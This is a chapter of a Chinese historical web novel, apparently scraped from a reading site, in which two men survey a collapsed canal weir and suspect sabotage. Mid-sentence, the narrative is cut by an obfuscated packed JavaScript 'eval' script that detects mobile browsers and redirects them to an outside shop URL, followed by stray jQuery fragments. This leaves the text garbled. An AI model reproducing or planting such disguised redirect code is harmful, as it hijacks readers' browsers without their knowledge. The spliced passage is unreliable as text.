默认冷灰
24号文字
方正启体

8. 潜坝

作者:长松献风本书字数:K更新时间:
    回乐县的刀笔吏是个脸色蜡黄瘦削的青年,名叫方杰。他绷着一张死人脸,下笔如飞誊写方道虎的刺史令,再加盖回乐县衙的印,匆忙向梁稼面前推去。


    “梁校尉,李主事,既然是修河这等大事,就快快动身吧。”


    李堰刚想着回一句什么,却见梁稼直接抽了文书就走,连半个眼神都欠奉。


    这是怎么了?


    他拽一拽梁稼的衣摆,却被径直领出了县衙。


    出了衙门,梁稼那副吃了苍蝇一般恶心的表情才有所好转。


    方杰还是这个狗脾气!


    他与方杰的梁子结在多年前。


    方杰的长兄方意,曾是保静县大青口的一个旅帅,后因冒进贪功延误军情,险些死在长城外。被梁稼带着夜不收救回后,自己落得军法处置,还连累家中受罚。


    那时方杰不过弱冠年纪,几经周折来寻梁稼,哀求他去方道虎面前开脱一二,不指望能留方意一条命在,只求免了罚金。


    梁稼看着这个面容苦楚的年轻人,却没有半点怜惜——因着方意的疏忽,夜不收甲队折损四人。他刚将领回来的一具尸身送到家中,脑仁还被眷属的哭号震得生疼。


    “这话你该提前和方意说,叫他留你一条活路,”他讥诮着,金眼睛中酝酿着冰冷的风霜。


    “我的人为救你哥哥,折了四个。免了你方家的罚金,就有四户人家要在这个冬日饿死。”


    “贪功冒进、延误军机、连累同袍。我要是你,现在就回家凑钱去。”


    他磨着牙,恶狠狠地盯着面前羸弱的青年:“你哪来的脸面要我去向刺史求情?”


    方杰被训斥得脸色冰白,失魂落魄踉跄而去。


    后来,梁稼得知了两件事。


    其一,方家本就困苦,以粮食缴纳罚金后更加揭不开锅,家中最小的弟弟死在第二年初春——肚腹胀大,分明是饿死的。


    其二,方意当日冒险前出,是去捉敕戎斥候。那批斥候不同寻常,隶属王庭大却,直接受徐飞策和可汗调遣,想必知道敕戎人过冬草场所在。


    思及此,他狠狠一甩手,马鞭划出尖锐的风声。


    方意莽撞,方杰糊涂,敕戎人畜生,徐飞策畜生不如。


    ……归根到底,当年决不该大发善心救下徐家父子。


    被流放来的罪臣本就当死。能教养出徐飞策此等忘恩负义、狼心狗肺之徒,徐妄更是该死后下十八层地狱。


    他多年不曾读过书,如今能记住仅剩的几个成语,一般都用在了敕戎人和徐飞策身上。


    更为可笑可悲的是,这是曾经徐飞策教会他的。


    李堰抱臂打量这个脸色一会儿青一会儿白,一边紧皱眉头一边咬牙切齿的精神病,长叹道:“容我说一句,气大伤身……”


    他委婉地建议着:“你还是多注意为好。”


    “我那日在保静县见了徐飞策一面,看起来还有个几年能活。你自然有恨他的道理,不告诉我也行。但要是气死在他前面,可就得不偿失了。”


    梁稼瞪着他,咬紧牙关,平复下内心汹涌的情绪:“从我这里套话呢?”


    李堰极慢地眨眨眼,仿佛是闹不清楚梁稼哪根筋又搭错了。


    “莫不是做夜不收久了,连旁人关心的话都听不得了?我是按明大夫的嘱咐,提醒你少吃药别动气。”


    哪门子的关心?


    好好一句话从他嘴里说出来怎么这么不中听呢?


    梁稼回想起庙里那群胡子长到膝盖的道士和尚,一个二个爱打机锋,说起话来云山雾罩,却没见谁像李堰似的,张嘴捅人心窝子。


    ……兴许这小子还没到会说漂亮话儿的年纪吧。


    自觉说话也十分难听的梁校尉第一次感到棋逢对手,被这么一打岔连恨都顾不上:“对,我听不得,以后你不要再讲。”


    “那不行,”李堰郑重摇头,“你这朝生暮死的,我以后每天都讲点好听的,就当送送你,也不辜负咱俩认识一场。”


    说李堰讷于人情,倒不是虚言。但他实在聪明,只要肯用心,就几乎没有参不透的人,更何况梁稼实在好懂——此人不犯病时,一张嘴又硬又毒,这时候要是顺着他把话说下去,没两句就得出溜到自暴自弃的寻死上。讲大道理更不管用,非得是顶着劲儿犟嘴,才能激起他仅剩的那点儿活人气。


    虽然那点儿活人气一涌上来,梁稼就显出粗浅的跋扈无礼,但总比心脉停跳随时谒见黑白无常的样子更叫人看得顺眼些。


    果然,不出所料,梁稼猛得回头,手里马鞭隔着衣物点到李堰胸口,怒极反笑。


    他舔舔嘴唇,准备再说点什么找场子,但与那双沉静的黑眼睛一对上,却顿时败下阵来——和正经上过学的人斗嘴,估计是没什么赢面的。


    识时务者为俊杰,梁稼只能避其锋芒转进如风:“小子,嘴上功夫不错,你要是能靠这把河修了也行。”


    他收了鞭子,别在腰间。


    “走吧,带你去河口。”


    ……


    所谓河口,是古时艾山渠的入水口。这条灌渠大约建在汉魏年间,是回乐县的命脉所在。但自从边地大乱杂胡南下,首当其冲被掳走杀死的就是经验丰富的河工与匠人。渠口长久不得疏浚,勉强支撑着,终于在一个暴雨时节彻底报废。


    九月底的灵州没什么雨水,滔滔大河在此时收敛了丰水期的嚣张气焰,顺着主河道缓缓流淌,将水下分崩离析的潜坝隐约露了出来。


    行到河口,李堰变戏法一般从行囊中掏出许多节一臂长木头棍子,磕在一起叮当作响。


    梁稼勒住缰绳,饶有兴致地看着他前后忙活,把棍子拧成一根长杆:“这是你们山上的什么法宝么?”


    “……探杆而已,只要不缺木头,这东西要多少有多少。”


    李堰招招手叫他下马,把一人半高的杆塞到他怀中,又在底部绑上了一块厚铁片。


    梁稼掂量着测杆,沉甸甸的有些压手。其上厚厚刷着桐油,经年累月被盘得锃光瓦亮,齐眼的高度上还有道道陈旧的墨渍。


    二人一前一后下了河岸,踏上坍塌的潜坝,河水轻轻荡漾着,温柔地擦过靴尖,留下冰冷的水痕。


    李堰将探杆伸下去,铁片压住河床稳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288186|198468||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    稳立起。他蹲下身,去数其上的刻度。


    五尺六。


    九月底的西洛水,还有五尺六的水深。


    潜坝到河岸,少说也有个二尺半,可见此地春夏时的水势。


    怪不得从前选在此地开渠口……


    李堰小心翼翼转过身,顺着艾山渠望去——当年开渠之人确实是个行家。


    潜坝后的沉砂池挖得开阔,就算多年不清淤,也能看出当年的用心。一路向东北,四五十步之外,主渠突然收窄变深,旁边有一条更浅更宽的支渠,痕迹却几乎被磨灭在层层泥沙中。


    这是一道回水渠,预备着主河道涨水时,将流进灌渠多余的水引回去。


    他回想着治河典,上面对于艾山渠只有短短一句记载。


    “汉元明五年,屯灵州,太守光开艾山渠,置枕铁三。”


    那位开凿艾山渠的太守湮没在浩瀚青史中,未曾留下全名。治河通渠术在脆弱的纸张竹简上,在代代河工的口耳相传下艰难地穿过刀枪烈火,残缺不全地来到如今。


    他在魁山上把书翻烂,也只能在模糊的记载与地图上窥见古时伟大富饶的灵州。


    但好在,还有枕铁,千年不腐不坏。


    李堰提起探杆,翻转过来,将尖利包着铁的尾端插入沉砂池。


    向下,再向下——直到铁器相撞的声音传来。


    李堰眼睛一亮,更用力向下戳去,又是三声沉闷的响动。


    梁稼蹲在潜坝上看着池底:“底下有铁?估计是古战场留下来的。”


    “不,不是废弃的刀剑,”李堰观察着淤泥痕迹的高度。


    “这是枕铁,开凿艾山渠时铺下的。为的是提示后人这处大概要挖多深。”


    “那岂不是要用铁沿着灌渠铺一路?”梁稼咂舌,“哪里有这么多铁给你们用?”


    梁校尉难得犯一次傻,李堰深觉好笑,却大发慈悲放过了他,只解释道:“自然不是铺一路。整个艾山渠也只有三块枕铁,如果不出所料,应该在渠口,田口各有一个,剩下一个得碰运气找一找。”


    他猛得拔出探杆,正要在河里涮涮泥沙,转身之间整个人却一脚踩空,突然向后倒去。


    在这嶙峋的乱石头上磕了可不是闹着玩的,梁稼窜起,一手捞住他的腰,一手卸了他手中的探杆。李堰眼前一花,天旋地转地坐在了潜坝上。


    梁稼伸长探杆戳了戳李堰刚刚落脚的地方,碎石纷纷滚落,露出其下黄澄澄的泥沙。泥沙中横七竖八地伸出几道断竹条,还裹着片片麻布。


    “这玩意儿不太牢靠,以后还是别上去为好,”他带着探杆两步跨到岸上,向李堰伸出手,“上来吧。”


    李堰却仍蹲在原地研究,他抽出一片竹条,举给梁稼:“这是不是刀劈出来的口子?”


    “你之前同我说,这潜坝自己塌了,现在看来却未见得……”


    断口被水泡久了,齐刷刷泛起腐朽的暗黄。


    梁稼眯着眼,两点金色被压成一线:“你的意思是,有人砍断竹笼,毁了这里?”


    他再冲李堰伸出手,将人一把带到了岸上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)